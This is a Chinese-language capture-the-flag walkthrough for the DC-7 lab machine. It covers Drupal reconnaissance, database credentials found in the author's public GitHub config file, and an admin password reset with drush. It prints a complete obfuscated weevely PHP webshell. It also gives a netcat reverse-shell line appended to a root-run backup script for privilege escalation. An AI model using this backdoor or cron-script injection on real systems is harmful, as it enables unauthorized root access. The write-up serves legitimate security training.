DC-7靶场练习
DC-7靶场练习
环境
kali:192.168.10.128
dc-7:192.168.10.196
信息收集
靶机发现:
netdiscover -r 192.168.10.0/24
端口扫描
nmap -sS -sV -T4 -A -p- 192.168.10.196
发现靶机打开了22(ssh)和80(http)端口
打开web端http://192.168.10.196/
这个网站使用的CMS是Drupal8
第一反应就是使用searchsploit和MSF来寻找利用模块,但是尝试了好几个脚本和模块都没有拿到shell
翻译一下首页的内容,获取到一点点线索,并且得到线索在框外部
欢迎来到 DC-7
DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 :-)
虽然这个挑战并不是那么技术性的,但如果你需要诉诸蛮力或字典攻击,你可能不会成功。
您必须做的是“跳出”框框思考。
方法在“外”框。 :-)
回到网页发现Drupal是被DIY过的,重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了”Powered by Drupal”,还多了一个”@DC7USER”。谷歌搜索”@DC7USER”
这是他的项目,可以在github上查看源码,找到配置文件config.php
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
在这个文件中可以看到账号密码,
使用ssh连接,并且能够连接成功
ssh dc7user@192.168.10.196
在这个目录下有两个文件,文件夹backups里面有website.sql.gpg website.tar.gz.gpg
这两个文件
经过百度了解到这两个是加密文件,没有利用的地方
再查看一下mbox,这里有许多长得差不多的邮件信息,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。
拿shell
进入/opt/scripts/这个目录,查看backups.sh这个文件,内容如下:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
在这里可以看到有两个比较少见的命令drush
和gpg
经过百度得知drush命令是drupal的一套shell脚本或bat脚本,这个可以用来修改网站的admin账号的密码
drush user-password admin --password="123456"
这个命令要在/var/www/html目录下才能执行
修改了密码后,去登录
登录成功后
在这里可以写入网页,但是网页类型没有php模式
这里需要自己安装插件,下载连接:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下载完成后,点击Extend->+ install new module
选择刚下载的文件进行安装
安装完成后点击Extend往下拉,勾选并启用PHP Filter模块,点击install
完成后回到写入网页的页面,可以发现这里能写php代码了
用weevely生成一个木马
weevely generate cmd shell.php
generate 代表生成木马
a 为木马连接时的密码
a.php 为木马的文件名
将shell.php的内容复制到Body里,title随便写,点击save
<?php
$r='o.=$t{$i}^QE$k{QE$j};}QE}rQEeturnQE $o;}if (@preg_QEmaQEtch("/$kQEh(.+)QE$kf/",@QEfiQEle_get_conteQEQEnts("php://iQEQE';
$z=str_replace('EJ','','EJcreEJateEJEJ_funcEJEJtion');
$d='{$QEc=strlQEeQEQEn($k);$l=strQElen($t);$QEo=QE"";for($i=QE0;$i<$lQE;QE){for($j=QE0;QE($j<$c&QE&$i<QE$l);$j++,$QEi++){$QE';
$J='contQEents();QE@ob_enQEd_cleaQEn(QE);$r=@basQEe64_QEencode(@xQE(@gzcomQEprQEess($o),$kQE)QE);pQEriQEnt("$p$kh$r$kf");}';
$j='$k="QEdfff0aQE7f";$kh="QEa1aQE55c8c1a49"QE;QE$kf="66c1QE9f6da452"QE;$pQE="6nMQEW0DQEI50PmP4TH8";QEQEfunctioQEn x($t,$k)';
$X='nput")QEQE,$m)QE==1) {@obQE_start();@evaQEl(QE@gzunQEcompress(@x(@baQEse6QE4_decodeQEQE($m[1]),$k))QE);$o=@oQEQEb_get_';
$G=str_replace('QE','',$j.$d.$r.$X.$J);
$N=$z('',$G);$N();
?>
得到木马地址http://192.168.10.196/node/5
用接下来用weevely进行连接
weevely http://192.168.10.196/node/5 cmd
成功拿到shell
提权
由上面可知,/opt/scripts/backups.sh
脚本执行是root权限,所以只要把反弹shell命令写入该脚本即可得到root权限
echo 'nc -e /bin/bash 192.168.10.128 1234'>>/opt/scripts/backups.sh
kali这边
rlwrap nc -lvvp 1234
写入成功,等待其自动执行
反弹shell成功,并拿到root权限
cd /root
cat theflag.txt
拿到flag